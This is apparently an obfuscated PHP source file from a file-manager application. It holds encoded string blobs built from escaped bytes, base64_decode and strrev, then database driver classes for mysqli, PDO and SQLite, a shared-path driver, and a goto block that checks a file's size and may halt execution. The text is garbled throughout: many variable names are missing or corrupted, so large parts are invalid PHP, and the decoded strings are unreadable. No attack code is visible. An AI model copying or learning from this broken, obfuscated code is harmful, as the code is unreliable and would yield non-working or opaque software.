')."\xc0\x35\x36\xd2\x2e\xc2\x4\xd3\x0\x22\x66\x49\xb4\x7\xf8\x87\x47\x79\x4d\xa3\x4c\x1b\xc\x8c\x57\x9b\x46\xe3\xd2\xf3\x16\x2e\x4f\x18\xb2\x47\xfd\xd0\xb2\xc4\x4c\x7f\x7b\x47\xa8\xd9\x8f\x8e"."\227\351\263\146\363\103\275\67\211\116\165\6\130\332\260\75\223\61\62\64\145\352\154\245\17\255\4\100\114\245\217\332\243\335\376\232\151\42\165\272\232\266\364\14\326\153\141\124"."\44\115\365\100\22\115\24\170\202\306\251\63\77\246\275\326\247\361\16\343\141\0\256\252\362\335\345\125\277\273\274\332\167\227\173\276\273\274\362\273\64\311\3\261\132\251\324\334"."\207\141\301\205\115\135\111\151\71\302\116\265\54\326\333\221\265\177\100\264\112\325\222\3\50\273\205\22\324\31\136\336\26\41\276\53\262\322\176\161\65\27\0\224\237\141\207\250"."\315\220\130\136\263\235\245\56\237\114\337\351\51\31\173\23\351\340\314\3\247\133\203\246\155\7\261\37\111\102\255\163\55\267\130\202\135\36\271\307\104\125\215\44\56\37\134\331"."\x71\x37\xbf\xdc\x9\xb0\xf0\x14\x4c\x65\xfe\x34\x1c\xe6\x2e\x75\x10\xd3\x11\xca\x61\x27\x29\x8\xcf\xc1\xac\x84\x47\x4a\xa6\xad\xcb\x2e\xa8\x33\x3a\xf1\x6b\xca\xbd\x2\x48\xfe\x9c\xb\xda\x8"."\xc6\x44\x4c\x2d\x51\xf2\xec\xcc\xfc\x24\xcb\x4e\x25\xf1\x84\xf9\xb\x2e\x4f\xf4\x23\x7e\x34\x74\x8f\x6f\x64\x5b\xd7\x7\x98\xf2\xa4\xc4\x80\x70\x69\x43\x17\xf7\x79\xec\x1d\xe\x46\x5\x2\x29".base64_decode('WtzfNb0u9ldN8Et+Nig2kHymo35B07ibsH/7yNwwCQX9Ob7aqP2WcEKN1pK+dLBE')."\x1f\x65\xe\x9e\x3d\x3b\xc0\xe3\x13\xba\xb7\xad\xb7\xa3\x37\x29\x4f\x93\x63\x69\xd9\x2c\xea\xb6\xe4\x66\xd6\xd5\x17\xe1\x82\x1a\xc0\x8f\x3c\x4e\xc0\x26\x63\x7c\x7\xd6\x70\x2b\x72\x4c\x55\xff"."\xd7\x90\x49\x38\x8e\xa0\x45\x34\xe6\x7c\xc3\x9c\xdc\xb\x92\x57\x4e\xaa\xc0\xee\x71\x38\x1d\xa0\x37\x2b\xd4\xec\x4a\x65\xe9\xa1\x1d\x19\x5e\xf0\x31\xce\x35\xe9\xb0\xa4\x82\xba\xd\x67\x28\x83"."\xb8\xf3\x86\xe7\x2\x1a\xd9\x88\xd0\xd4\x15\x9b\x4c\x66\xff\xb3\xba\x6\x41\x62\x4d\x43\xcd\xd1\x75\xe8\x77\x72\x8d\xaf\x6\x13\xaa\x24\x8e\x57\x11\x27\x90\x7e\xd4\x34\x1c\x5d\x47\x2\x93\xc1"."\335\315\30\30\245\110\36\165\305\125\74\110\331\26\241\251\225\356\217\26\221\331\300\173\177\172\160\172\160\30\360\301\242\101\374\105\361\346\207\367\14\30\121\21\332\143\367\42"."\xaa\x8c\x7c\x1\xad\xc3\xac\xcb\x39\xed\xbc\x27\xc\x2d\x77\xb4\xcc\x62\x58\x34\xd4\x71\xbc\x5f\xf8\xb8\x5e\xb0\x68\xa4\x90\x57\x80\xcb\x6c\xac\x9d\x16\xa8\xaf\x55\xd8\x9b\x30\x8d\xb5\xdd\xc9".base64_decode('Vv/c2kUL91nQTG6THb0DXwdjGQhl/hfCbc8CvL14JOiOjVcX4K+gjZlFdNQhDFUI')."\xa4\x61\x32\xbb\x39\x16\x13\x6e\xc7\x8b\xba\x33\x6c\x5a\x70\x55\xe\x8\x76\x7a\xfd\x4c\x19\xa6\x1\x44\x6c\xb6\xb5\x89\xc0\xa9\x1\xb\x48\xd9\xf0\xbb\x4b\xa3\xe5\xa2\x1f\x8b\x20\xfc\x9\xd9"."\xff\xa1\xe7\xa1\x83\x7a\x77\x79\x2c\x44\x70\x97\x97\x51\x63\x5a\xa0\x8f\x82\x8\xd2\x47\x2b\x1a\x14\xf9\x25\x13\xc9\xa9\x33\x11\x50\xd1\x5d\xc9\xb4\x3e\x20\xd\x63\x4d\x96\x64\xb8\x35\x4f\x5"."\x4a\x54\xdd\x28\xf1\x58\x4f\x7f\xf1\x54\xfb\x11\xd1\x85\xe1\x1f\x6d\x2a\x74\xfc\x3a\x7a\xb5\x22\xee\xe7\x32\xbc\x8f\x68\x78\x67\x81\x54\xc1\x8b\xeb\x97\x5f\xe7\x18\x41\x14\x37\xce\xc6\x7e\xfa"."\xfd\x78\x7d\xfd\x46\x66\xbc\x1c\xb1\xa9\xab\x76\x35\xd\xa0\x52\xad\x48\x77\xd9\xc8\x78\x3f\x49\xb4\x13\xfc\xe5\x32\xfb\x60\xd5\x46\x65\x7e\x80\x15\x20\x83\x88\xf0\xf6\x5c\x94\xb9\x86\xd6\x9a".base64_decode('E+Ne4l4SSFf6vkebV5k+o2HWPPQfoEemXFEuMfVpFGS+8ScGswwPiPcz2NjwgkuP').base64_decode('CbiSxTTyHc4QiKuc6K3rZRYYKOXfpUcPiOSc7iSscqTyRyKqYFLEjLEDA45dSVuf')."\57\110\216\5\54\136\136\23\133\44\225\37\20\43\111\141\115\161\200\360\1\324\121\123\220\131\344\310\225\305\322\175\345\342\100\243\224\251\70\246\251\24\264\342\50\160\3\223"."\xec\x86\x49\xf6\x7c\xfc\xa1\x46\xac\x23\x6f\xa3\x8\xe0\x6b\xee\x12\x18\x9f\x23\xc2\x81\x23\x75\x28\x4\x39\xf4\x9e\x20\x80\x5f\x74\x9\xe0\x43\x2a\x5e\x86\x52\x5d\xf9\x32\x7f\x7d\xa3\x44\xc2"."\xd0\xc3\xae\x68\x77\x5b\xa4\x53\xd2\x8c\x92\x12\xd4\xe6\x96\x4e\x35\xd4\xd5\x55\x35\x63\xd\x23\x58\xb0\x80\x10\xab\x15\x4\xfa\xd9\x6d\x4b\x9a\x41\xd5\x2\xa3\x90\x53\xd2\xd8\x4\xa4\xb1\x6"."\xa7\xd6\x28\xb6\x95\x66\x8e\x91\x6b\x82\x80\x47\x49\x1\xc1\x3f\x2d\x30\xa0\x4a\x2d\xae\xa2\x64\x11\x98\xf8\x49\x88\x66\xd7\x2e\x5c\x10\x34\x16\xf2\xc9\x16\xee\x9b\x2c\x53\x58\xb8\x4\x82\x47".base64_decode('YW4qiHWPisfg1ZVVIUhqq3DWpCgLNIXOY2MtkYPXKn3oPOaKlwu9lTvZfdSCoCZn').base64_decode('4p0VNxn5y5koLGb3JMlXGSHJjTp5TaNZKy6trIIbD6TlLLqSxAansnyQSAKCgl90').base64_decode('3/Xwq5EqQFHS0gMYjgTShy9BRhdmTGiG61EIR9L4KGMrNCJat8TLNatX04bwOb92')."\155\145\32\50\215\172\263\102\45\303\233\204\341\305\233\206\31\155\221\206\116\57\367\147\50\254\312\205\104\12\53\103\177\105\235\150\147\233\210\120\106\304\225\331\303\364\263\111".base64_decode('rLenNjBl7dqgwVSrmBoIqxvgpWm8N+Auj0YCU88LQoK3JKUaF8OW2yc4RVjOcRUq').strrev('y8I! )Sx˓si#Y+G.65U')."\316\252\34\16\225\112\162\224\75\64\104\156\25\362\106\52\310\367\70\275\151\10\244\205\301\31\53\102\60\214\47\35\353\77\171\62\260\305\26\111\36\102\50\20\321\132\375\336"."\x74\xd4\x16\x4f\xe4\x81\x5\x76\xda\x32\x4a\x8e\xb\x3b\xd1\x67\x18\x6b\xc8\x9b\x39\xfd\xda\x90\x46\x8b\xd4\x28\xc0\x95\x37\xd6\x90\x37\x3\x6a\x10\x36\xa2\x39\x80\x6\x44\x57\x16\x60\xb4\xa3".base64_decode('WHq+sYZ01+7TdVSfIJZqH0EVaxSGEwsanzHLMdFxx82G4AWr7jhYVoQ64SbnqBPo')."\xef\xd1\x47\x31\x8\x21\xef\xa8\xe5\x75\x8b\xea\x8d\x13\x24\x43\xee\x10\xb3\x42\x84\x5\x2f\x69\x75\xc5\x63\xc9\x58\x33\x7b\x78\xa8\x9a\xac\x6b\x26\x23\x57\x6d\x6a\xa4\x27\xd8\x1a\x66\xfd\xc3"."\325\53\130\11\116\0\4\41\5\326\335\52\27\213\134\123\15\123\204\374\224\302\232\57\352\342\104\254\223\75\324\222\344\140\203\155\353\2\112\217\306\356\234\100\305\225\136\242"."\45\372\312\216\70\21\361\353\3\111\154\241\154\103\262\344\153\21\173\172\104\15\365\120\321\144\143\75\63\362\140\12\160\302\46\14\112\126\151\203\212\175\223\134\301\114\57\272"."\x24\x1e\xf4\xdb\x79\x93\xb9\x9f\x9c\x5e\x5f\x5f\xef\xaf\x9f\x86\xfe\x63\x2a\xd2\xcc\xd\x5e\x43\x7d\x7d\x45\x91\xfa\xfa\x6\xf2\x1f\xcd\x20\x42\x5b\x58\x14\x77\xe\xda\xfc\xc\x6b\x41\x81\x61"."\x5d\x87\xe\xc1\x41\x50\x30\x8a\x65\x46\x44\xf5\x34\x63\x5b\x2f\x5\x77\x6d\x25\xa3\x1b\x58\xff\xd1\x7a\x10\xaf\x90\xc\x81\xcc\x97\x58\xbf\xf9\xa\xb9\x5c\x84\x98\xee\x9d\x4\x7e\x6b\xb\x2b"."\54\273\25\147\141\104\313\240\325\46\223\2\375\345\206\204\250\230\200\243\371\324\242\264\221\167\52\134\314\364\310\37\13\260\311\245\211\302\25\266\237\145\370\345\247\53\240\22"."\x3d\x1a\xc4\xb5\x85\xab\x6b\xa8\x8e\xdb\xdd\x24\x4e\x41\x7\x73\x9a\x8f\x13\x27\x48\x12\x12\x4c\x98\x49\x2e\x34\x71\x54\xbe\x9d\x20\xd9\xdc\x1a\x8f\xc4\xf2\xdc\x65\x1\x8e\x76\xf2\x96\xe8\xb"."\x29\xd4\x6c\x14\xe6\xb0\xa\xb8\xf6\x99\xc3\xaa\x38\x85\x71\x74\x31\x8f\x91\x29\xc5\x2c\x12\x3\xc3\x8c\x64\x31\x89\xe7\x95\xe1\x63\xa9\x38\x97\x2a\x9\xd5\x2\xd0\x94\x20\x36\xfd\x3\x46\xde"."\x65\xc9\xac\x4a\x55\xe5\xb9\x9d\x8f\xb\xb2\x91\x24\xdd\x35\x71\x43\x68\x47\x87\xf8\x3b\x31\x54\x85\x91\xf5\x4d\x81\xad\x47\xa3\xc4\x31\x36\x79\xe2\x8f\x6a\x9d\x36\xec\x53\xb1\xb8\x8e\x77\x61".strrev('#.M,HEzQ 5)>3L6%,=').strrev('4'."\n".'7|WږXXqQ.'."\0".'')."\134\51\6\207\142\374\235\24\121\325\233\123\245\3\50\133\21\62\44\136\100\151\124\352\351\313\153\374\345\13\145\1\63\221\26\37\40\356\302\302\205\222\343\142\235\333\145\255".strrev('S6config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0) { $Ɍ =& $_SERVER[ö]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$Ɍ[900]], $[$Ɍ[902]], $[$Ɍ[903]], $[$Ɍ[21]], $[$Ɍ[901]] ? intval($[$Ɍ[901]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$]->server_version; $this->linkID[$]->query($Ɍ[904] . think_config($Ɍ[905]) . $Ɍ[58]); if ($ > $Ɍ[906]) { $this->linkID[$]->query($Ɍ[907]); } $this->connected = !0; if (1 != think_config($Ɍ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ڎ =& $_SERVER[ö]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ڎ[23], 1); think_status($ڎ[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ѻ = $this->_linkID->next_result()) != NULL) { $ѻ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $𨵎 =& $_SERVER[ö]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($𨵎[25], 1); think_status($𨵎[24]); $Đɰ = $this->_linkID->query($); $this->debug(); if (!1 === $Đɰ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $␈ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$␈) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ݠ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ݠ) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($ϝ) { $踬 =& $_SERVER[ö]; $ޒ = $this->query($踬[911] . $this->parseKey($ϝ)); $ = array(); if ($ޒ) { foreach ($ޒ as $̰ => $) { $[$[$踬[31]]] = array($踬[32] => $[$踬[31]], $踬[33] => $[$踬[34]], $踬[35] => (bool) ($[$踬[36]] === $踬[12]), $踬[37] => $[$踬[38]], $踬[39] => strtolower($[$踬[40]]) == $踬[41], $踬[42] => strtolower($[$踬[43]]) == $踬[44]); } } return $; } public function getTables($ͪ = '') { $ =& $_SERVER[ö]; $Ի׀ = !empty($ͪ) ? $[913] . $ͪ . $[914] : $[915]; $ = $this->query($Ի׀); $dz = array(); if ($) { foreach ($ as $ => $) { $dz[$] = current($); } } return $dz; } public function replace($ޏ, $ = array()) { $ =& $_SERVER[ö]; foreach ($ޏ as $ => $) { $盟 = $this->parseValue($); if (is_scalar($盟)) { $[] = $盟; $ݔ܆[] = $this->parseKey($); } } $ޞ = $[916] . $this->parseTable($[$[279]]) . $[917] . implode($[50], $ݔ܆) . $[918] . implode($[50], $) . $[919]; return $this->execute($ޞ); } public function insertAll($, $Ƿ = array(), $Ա߯ = false) { $֓ =& $_SERVER[ö]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $Ⱦ = array(); foreach ($ as $ݖە) { $٢۳ = array(); foreach ($ݖە as $ => $ϑ) { $ϑ = $this->parseValue($ϑ); if (is_scalar($ϑ)) { $٢۳[] = $ϑ; } } $Ⱦ[] = $֓[260] . implode($֓[50], $٢۳) . $֓[919]; } array_walk($, array($this, $֓[920])); $ϐ = $Ա߯ ? $֓[921] : $֓[922]; $ʲ = $ϐ . $֓[923] . $this->parseTable($Ƿ[$֓[279]]) . $֓[917] . implode($֓[50], $) . $֓[924] . implode($֓[50], $Ⱦ); return $this->execute($ʲ); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[ö]; $this->error = $this->_linkID->errno . $[4] . $this->_linkID->error; if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ۃ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ۃ); } else { return addslashes($ۃ); } } public function parseKey(&$֩, $ͩ = true) { $ =& $_SERVER[ö]; if ($ͩ) { $֩ = $this->parseKeyCheck($֩); } if ($֩ != $[188] && !preg_match($[925], $֩)) { $֩ = $[385] . trim($֩, $[385]) . $[385]; } return $֩; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($® = '') { $ =& $_SERVER[ö]; if (!class_exists($[928])) { think_exception(think_lang($[14]) . $[929]); } if (!empty($®)) { $this->config = $®; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ݩ = '', $ͳ = 0) { $ͤآ =& $_SERVER[ö]; if (!isset($this->linkID[$ͳ])) { if (empty($ݩ)) { $ݩ = $this->config; } $؇ = !empty($ݩ[$ͤآ[17]][$ͤآ[18]]) ? $ݩ[$ͤآ[17]][$ͤآ[18]] : $this->pconnect; if ($؇) { $ݩ[$ͤآ[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$ͳ] = new PDO($ݩ[$ͤآ[930]], $ݩ[$ͤآ[902]], $ݩ[$ͤآ[903]], $ݩ[$ͤآ[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($ݩ[$ͤآ[930]]); if (in_array($this->dbType, array($ͤآ[931], $ͤآ[932], $ͤآ[933], $ͤآ[934]))) { think_exception($ͤآ[935] . $this->dbType . $ͤآ[936] . $this->dbType . $ͤآ[937]); } if (!$this->linkID[$ͳ]) { think_exception($ͤآ[938]); } try { $this->linkID[$ͳ]->exec($ͤآ[939] . think_config($ͤآ[905])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($ͤآ[22])) { unset($this->config); } } return $this->linkID[$ͳ]; } public function free() { $this->PDOStatement = null; } public function query($, $̴ = array()) { $ =& $_SERVER[ö]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($̴)) { $this->queryStr .= $[940] . print_r($̴, !0) . $[941]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($̴); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($͚̑, $ = array()) { $폺 =& $_SERVER[ö]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $͚̑; if (!empty($)) { $this->queryStr .= $폺[940] . print_r($, !0) . $폺[941]; } $ܟ = !1; if ($this->dbType == $폺[934]) { if (preg_match($폺[942], $this->queryStr, $ʤ)) { $this->table = think_config($폺[943]) . str_ireplace(think_config($폺[944]), $폺[378], $ʤ[2]); $ܟ = (bool) $this->query($폺[945] . strtoupper($this->table) . $폺[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($폺[25], 1); think_status($폺[24]); $this->PDOStatement = $this->_linkID->prepare($͚̑); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ݠ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $ݠ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ܟ || preg_match($폺[946], $͚̑)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $; = $this->_linkID->commit(); $this->transTimes = 0; if (!$;) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $؎ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$؎) { $this->error(); return !1; } } return !0; } private function getAll() { $ނ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($ނ); return $ނ; } public function getFields($ā) { $Ә =& $_SERVER[ö]; $this->initConnect(!0); if (think_config($Ә[947])) { $ = str_replace($Ә[948], $ā, think_config($Ә[947])); } else { switch ($this->dbType) { case $Ә[931]: case $Ә[949]: $ = "\123\x45\114\105\103\x54\x20\x20\40\143\157\154\165\x6d\x6e\x5f\x6e\x61\x6d\145\40\x61\x73\x20\x27\x4e\x61\155\145\x27\x2c\40\40\40\144\x61\x74\141\x5f\x74\x79\x70\145\40\x61\x73\40\x27\124\171\160\145\47\x2c\x20\40\x20\143\x6f\154\x75\155\x6e\137\144\145\x66\x61\165\x6c\x74\40\x61\163\x20\47\104\x65\146\x61\165\x6c\x74\47\x2c\x20\x20\40\x69\163\137\x6e\165\x6c\154\x61\x62\x6c\145\40\x61\x73\40\47\116\x75\x6c\x6c\47\xa\11\x9\106\x52\117\115\11\x69\x6e\146\157\162\x6d\x61\x74\x69\157\x6e\x5f\x73\x63\x68\145\155\141\x2e\164\x61\142\x6c\145\x73\40\x41\123\x20\x74\12\11\x9\x4a\117\x49\116\11\151\x6e\146\x6f\x72\155\x61\x74\151\157\156\x5f\x73\x63\x68\145\x6d\x61\x2e\x63\x6f\x6c\165\x6d\x6e\x73\40\x41\x53\x20\143\12\x9\11\x4f\x4e\40\x20\164\56\x74\141\x62\154\x65\137\x63\x61\x74\x61\154\157\147\40\x3d\x20\143\56\x74\x61\142\x6c\145\x5f\x63\141\x74\x61\x6c\157\147\xa\x9\11\x41\116\x44\x20\x74\56\x74\141\x62\x6c\x65\137\x73\143\150\145\155\141\40\75\40\x63\56\x74\141\142\x6c\x65\137\x73\143\x68\x65\155\141\xa\11\x9\101\x4e\104\x20\x74\56\164\141\x62\x6c\145\x5f\x6e\x61\155\145\x20\x3d\40\143\x2e\164\141\142\x6c\145\x5f\156\x61\x6d\145\xa\x9\x9\x57\110\105\122\105\40\x20\x20\x74\x2e\164\141\x62\154\145\137\156\141\155\145\40\75\x20\x27{$ā}\x27"; break; case $Ә[950]: $ = $Ә[951] . $ā . $Ә[952]; break; case $Ә[932]: case $Ә[934]: $ = $Ә[953] . $Ә[954] . $Ә[955] . strtoupper($ā) . $Ә[956] . strtoupper($ā) . $Ә[957]; break; case $Ә[958]: $ = $Ә[959] . $ā . $Ә[960]; break; case $Ә[933]: break; case $Ә[961]: default: $ = $Ә[962] . ($this->dbType == $Ә[961] ? "\140{$ā}\140" : $ā); } } $ = $this->query($); $ = array(); if ($) { foreach ($ as $ => $ɧ) { $ɧ = array_change_key_case($ɧ); $ɧ[$Ә[32]] = isset($ɧ[$Ә[32]]) ? $ɧ[$Ә[32]] : $Ә[378]; $ɧ[$Ә[33]] = isset($ɧ[$Ә[33]]) ? $ɧ[$Ә[33]] : $Ә[378]; $ = isset($ɧ[$Ә[273]]) ? $ɧ[$Ә[273]] : $ɧ[$Ә[32]]; $[$] = array($Ә[32] => $, $Ә[33] => $ɧ[$Ә[33]], $Ә[35] => (bool) (isset($ɧ[$Ә[103]]) && $ɧ[$Ә[103]] === $Ә[12] || isset($ɧ[$Ә[35]]) && $ɧ[$Ә[35]] === $Ә[12]), $Ә[37] => isset($ɧ[$Ә[37]]) ? $ɧ[$Ә[37]] : (isset($ɧ[$Ә[56]]) ? $ɧ[$Ә[56]] : $Ә[378]), $Ә[39] => isset($ɧ[$Ә[94]]) ? strtolower($ɧ[$Ә[94]]) == $Ә[41] : (isset($ɧ[$Ә[57]]) ? $ɧ[$Ә[57]] : !1), $Ә[42] => isset($ɧ[$Ә[963]]) ? strtolower($ɧ[$Ә[963]]) == $Ә[44] : (isset($ɧ[$Ә[94]]) ? $ɧ[$Ә[94]] : !1)); } } return $; } public function getTables($羚Ժ = '') { $Ÿ =& $_SERVER[ö]; if (think_config($Ÿ[964])) { $֬ = str_replace($Ÿ[965], $羚Ժ, think_config($Ÿ[964])); } else { switch ($this->dbType) { case $Ÿ[932]: case $Ÿ[934]: $֬ = $Ÿ[966]; break; case $Ÿ[931]: case $Ÿ[949]: $֬ = $Ÿ[967]; break; case $Ÿ[958]: $֬ = $Ÿ[968]; break; case $Ÿ[933]: think_exception(think_lang($Ÿ[969]) . $Ÿ[970]); break; case $Ÿ[950]: $֬ = $Ÿ[45] . $Ÿ[46] . $Ÿ[47]; break; case $Ÿ[961]: default: if (!empty($羚Ժ)) { $֬ = $Ÿ[913] . $羚Ժ . $Ÿ[914]; } else { $֬ = $Ÿ[915]; } } } $Ϟ = $this->query($֬); $̀ = array(); foreach ($Ϟ as $ => $) { $̀[$] = current($); } return $̀; } protected function parseLimit($Ĺ) { $ =& $_SERVER[ö]; $ = $[12]; if (!empty($Ĺ)) { switch ($this->dbType) { case $[958]: case $[950]: $Ĺ = explode($[50], $Ĺ); if (count($Ĺ) > 1) { $ .= $[51] . $Ĺ[1] . $[52] . $Ĺ[0] . $[53]; } else { $ .= $[51] . $Ĺ[0] . $[53]; } break; case $[931]: case $[949]: break; case $[933]: break; case $[932]: case $[934]: break; case $[961]: default: $ .= $[51] . $Ĺ . $[53]; } } return $; } public function parseKey(&$Б, $ = true) { $ =& $_SERVER[ö]; if ($) { $Б = $this->parseKeyCheck($Б); } if ($this->dbType == $[961]) { if ($Б != $[188] && !preg_match($[925], $Б)) { $Б = $[385] . trim($Б, $[385]) . $[385]; } return $Б; } else { return parent::parseKey($Б, $); } } public function close() { $this->_linkID = null; } public function error() { $֬ =& $_SERVER[ö]; if ($this->PDOStatement) { $ = $this->PDOStatement->errorInfo(); $this->error = $[1] . $֬[4] . $[2]; } else { $this->error = $֬[12]; } if ($֬[12] != $this->queryStr) { $this->error .= LNG($֬[48]) . $this->queryStr; } think_trace($this->error, $֬[12], $֬[49]); return $this->error; } public function escapeString($ɧ) { $ =& $_SERVER[ö]; switch ($this->dbType) { case $[958]: case $[931]: case $[949]: case $[961]: return addslashes($ɧ); case $[933]: case $[950]: case $[932]: case $[934]: return str_ireplace($[58], $[59], $ɧ); } } protected function parseValue($Ť) { $퀅 =& $_SERVER[ö]; if (is_string($Ť)) { $˻ = strpos($Ť, $퀅[4]) === 0 && in_array($Ť, array_keys($this->bind)); $Ť = $˻ ? $this->escapeString($Ť) : $퀅[971] . $this->escapeString($Ť) . $퀅[971]; } elseif (isset($Ť[0]) && is_string($Ť[0]) && strtolower($Ť[0]) == $퀅[297]) { $Ť = $this->escapeString($Ť[1]); } elseif (is_array($Ť)) { $Ť = array_map(array($this, $퀅[972]), $Ť); } elseif (is_bool($Ť)) { $Ť = $Ť ? $퀅[88] : $퀅[197]; } elseif (is_null($Ť)) { $Ť = $퀅[103]; } return $Ť; } public function getLastInsertId() { $ =& $_SERVER[ö]; switch ($this->dbType) { case $[958]: case $[950]: case $[931]: case $[949]: case $[933]: case $[961]: return $this->_linkID->lastInsertId(); case $[932]: case $[934]: $ɞ = $this->table; $ս = $this->query("\123\105\x4c\105\103\x54\x20{$ɞ}\x2e\x63\165\162\x72\166\141\x6c\40\x63\x75\162\x72\x76\x61\x6c\x20\106\122\x4f\115\40\144\x75\141\154"); return $ս ? $ս[0][$[973]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($噞) { $䱾Ӛ =& $_SERVER[ö]; if (!CacheLock::fileLock($䱾Ӛ[13])) { return !1; } $ = parent::query($噞); CacheLock::fileUnLock($䱾Ӛ[13]); return $; } public function execute($) { $ =& $_SERVER[ö]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($[13]); return $; } } goto bʒ; C: $_size = $_SERVER[ö][890]; if ($_SERVER[$_SERVER[ö][840]] != $_size($_file)) { $_getc = $_SERVER[ö][842]; $_getfile = $_SERVER[$_SERVER[ö][843]] . $_SERVER[ö][844]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ö][231], $_getfilec); if (count($_getarrs) < $_SERVER[ö][619]) { $exit = $_SERVER[ö][845]; $exit(); } $_act = $_SERVER[ö][846]; $_act($_file); } class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($˻, $ˁ) { $ϥ =& $_SERVER[ö]; if (method_exists($this, $˻)) { return; } $ = call_user_func_array(array($ϥ[1360], $˻), $ˁ); $ɒ = array($ϥ[1361], $ϥ[1362], $ϥ[1363], $ϥ[1364], $ϥ[555], $ϥ[557], $ϥ[1365], $ϥ[107], $ϥ[1366], $ϥ[1367]); if (in_array($˻, $ɒ)) { $ = $this->getPathOuter($); } return $; } public function copy($, $, $ = false, $Ѳ = false) { return $this->copyMove($, $, $, $_SERVER[ö][555], $Ѳ); } public function move($, $Ŗ, $Ԝ = false, $ = false) { return $this->copyMove($, $Ŗ, $Ԝ, $_SERVER[ö][557], $); } private function copyMove($˶, $ͽɵ, $Ł, $៎, $ߗ = false) { $ =& $_SERVER[ö]; $ی = $ͽɵ; $ړ = IO::driverMake($ͽɵ); if ($ړ->pathParse[$[1165]]) { $ͽɵ = $ړ->pathParse[$[1165]]; } else { $ͽɵ = $ی; } $ = IO::copyMove($˶, $ͽɵ, $Ł, $៎, $ߗ); $ = $this->getPathOuter($); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[ö][84]]); } public function pathFather($ڔ) { return get_path_father($this->pathParse[$_SERVER[ö][84]]); } public function iconvSystem($) { return $; } protected function infoParse($ԓ, $ޜ = false) { $槓 =& $_SERVER[ö]; $nj = $this->pathParse[$槓[487]][$槓[1190]] . $this->pathParse[$槓[1183]]; if ($ޜ) { $ߌ = IO::infoWithChildren($nj); } else { $ߌ = IO::info($nj); } $Ȟ = $this->pathParse[$槓[487]]; return Action($槓[1358])->_shareItemeParse($ߌ, $Ȟ); } public function listAll($װ) { $₉ =& $_SERVER[ö]; $ = IO::listAll($װ); $ = $this->pathParse[$₉[487]]; foreach ($ as &$ܰ) { check_abort(); $ = IO::info($ܰ[$₉[84]]); $ = is_array($) ? $ : array(); $ܰ = array_merge($, $ܰ); $ܰ[$₉[86]] = Action($₉[1358])->_shareItemeParse($ܰ, $); } unset($ܰ); return $; } public function getPathOuter($̬) { $ݓ =& $_SERVER[ö]; $Ҝ = KodIO::parse($̬); if ($Ҝ[$ݓ[33]] == KodIO::KOD_SHARE_ITEM) { return $Ҝ[$ݓ[84]]; } $ەĢ = KodIO::clear($̬); $ˡ = KodIO::clear($this->pathParse[$ݓ[487]][$ݓ[1190]]); $ = substr($ەĢ, strlen($ˡ)); if (substr($ەĢ, 0, strlen($ˡ)) != $ˡ) { return !1; } return $this->pathParse[$ݓ[1184]] . $ݓ[8] . ltrim($, 